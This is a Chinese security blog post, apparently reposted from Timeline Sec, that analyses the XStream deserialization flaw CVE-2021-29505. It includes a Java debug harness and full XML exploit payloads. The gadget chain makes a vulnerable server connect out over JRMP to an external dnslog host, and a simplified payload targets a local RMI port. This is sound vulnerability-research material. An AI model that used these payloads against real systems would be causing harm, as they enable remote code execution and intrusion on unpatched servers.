前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【漏洞分析】XStream反序列化漏洞(CVE-2021-29505)

【漏洞分析】XStream反序列化漏洞(CVE-2021-29505)

作者头像
Timeline Sec
发布2021-06-25 11:39:45
2.8K0
发布2021-06-25 11:39:45
举报
文章被收录于专栏:Timeline SecTimeline Sec

作者:口算md5@Timeline Sec

本文字数:1480

阅读时长:4~5min

声明:请勿用作违法用途,否则后果自负

0x01 漏洞复现

《CVE-2021-29505:XStream反序列化命令执行漏洞复现》

0x02 调试环境准备

因为要在本地调试,没必要再过一遍springboot

索性就直接写代码用Xstream解析poc

创建maven项目,引入XStream

直接主函数里定义xml调用Xstream解析poc

代码语言:javascript
复制
import com.thoughtworks.xstream.XStream;

public class Main {

    public static void main(String[] args) {
        String xml ="<sun.rmi.registry.RegistryImpl_Stub serialization=\"custom\"> \n" +
                "  <java.rmi.server.RemoteObject> \n" +
                "    <string>UnicastRef</string>  \n" +
                "    <string>127.0.0.1</string>  \n" +
                "    <int>8001</int>  \n" +
                "    <long>0</long>  \n" +
                "    <int>0</int>  \n" +
                "    <long>0</long>  \n" +
                "    <short>0</short>  \n" +
                "    <boolean>false</boolean> \n" +
                "  </java.rmi.server.RemoteObject> \n" +
                "</sun.rmi.registry.RegistryImpl_Stub>";
        // write your code hereXStream xstream = new XStream();;
        XStream xstream = new XStream();
        xstream.fromXML(xml);
    }
}

然后就可以开始愉快的调试了

0x03 漏洞分析

参考大佬的经验总结,XStream产生漏洞的主要问题就在于:

XStream在处理实现了Serializable接口和没有实现Serializable接口的类生成的对象时,方法是不一样的

当处理此种类型的xml(即实现了Serializable接口的类)时,会调用到该类的readObject方法

贴上poc:

代码语言:javascript
复制
<java.util.PriorityQueue serialization='custom'>
    <unserializable-parents/>
    <java.util.PriorityQueue>
        <default>
            <size>2</size>
        </default>
        <int>3</int>
        <javax.naming.ldap.Rdn_-RdnEntry>
            <type>12345</type>
            <value class='com.sun.org.apache.xpath.internal.objects.XString'>
                <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>
            </value>
        </javax.naming.ldap.Rdn_-RdnEntry>
        <javax.naming.ldap.Rdn_-RdnEntry>
            <type>12345</type>
            <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
                <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
                    <parsedMessage>true</parsedMessage>
                    <soapVersion>SOAP_11</soapVersion>
                    <bodyParts/>
                    <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
                        <attachmentsInitialized>false</attachmentsInitialized>
                        <nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
                            <aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
                                <candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
                                    <names>
                                        <string>aa</string>
                                        <string>aa</string>
                                    </names>
                                    <ctx>
                                        <environment/>
                                        <registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
                                            <java.rmi.server.RemoteObject>
                                                <string>UnicastRef</string>
                                                <string>75g7ep.dnslog.cn</string>
                                                <int>1099</int>
                                                <long>0</long>
                                                <int>0</int>
                                                <long>0</long>
                                                <short>0</short>
                                                <boolean>false</boolean>
                                            </java.rmi.server.RemoteObject>
                                        </registry>
                                        <host>75g7ep.dnslog.cn</host>
                                        <port>1099</port>
                                    </ctx>
                                </candidates>
                            </aliases>
                        </nullIter>
                    </sm>
                </message>
            </value>
        </javax.naming.ldap.Rdn_-RdnEntry>
    </java.util.PriorityQueue>
</java.util.PriorityQueue>

观察poc,可以看到入口点与CVE-2021-21344、CVE-2021-21345等相同为:java.util.PriorityQueue

经典的CommonCollections利用链中有几个就用到了PriorityQueue。在该类的readObject函数打下断点,调试执行

通过s.readObject();走到XStram中的readObjectOverride函数

然后在readFromStream方法中获取javax.naming.ldap.Rdn$RdnEntry()方法

对应xml中的相应节点

经过一些调试走过一系列的嵌套调用。来到调用JRMP的关键类sun.rmi.registry.RegistryImpl_Stub

同样在readObject函数打下断点。因为该类的readObject继承自爷爷类RemoteObject。在这里实例化UnicastRef对象,然后调用UnicastRef对象的readExternal方法

最终实际调用的代码如下最终在这里进行远程rmi调用

至此调试完成

简化版poc:

代码语言:javascript
复制
<sun.rmi.registry.RegistryImpl_Stub serialization="custom"> 
  <java.rmi.server.RemoteObject> 
    <string>UnicastRef</string>  
    <string>127.0.0.1</string>  
    <int>8001</int>  
    <long>0</long>  
    <int>0</int>  
    <long>0</long>  
    <short>0</short>  
    <boolean>false</boolean> 
  </java.rmi.server.RemoteObject> 
</sun.rmi.registry.RegistryImpl_Stub>

经过调试分析,简化版poc的调用方式就是直入关键类

sun.rmi.registry.RegistryImpl_Stub跳过了一大段的嵌套调用

代码语言:javascript
复制
参考链接:

https://paper.seebug.org/1543/

https://x-stream.github.io/CVE-2021-29505.html

https://mp.weixin.qq.com/s/jWa6SW3PfVsZ5Qzlmx_2EQ

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-06-11,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Timeline Sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档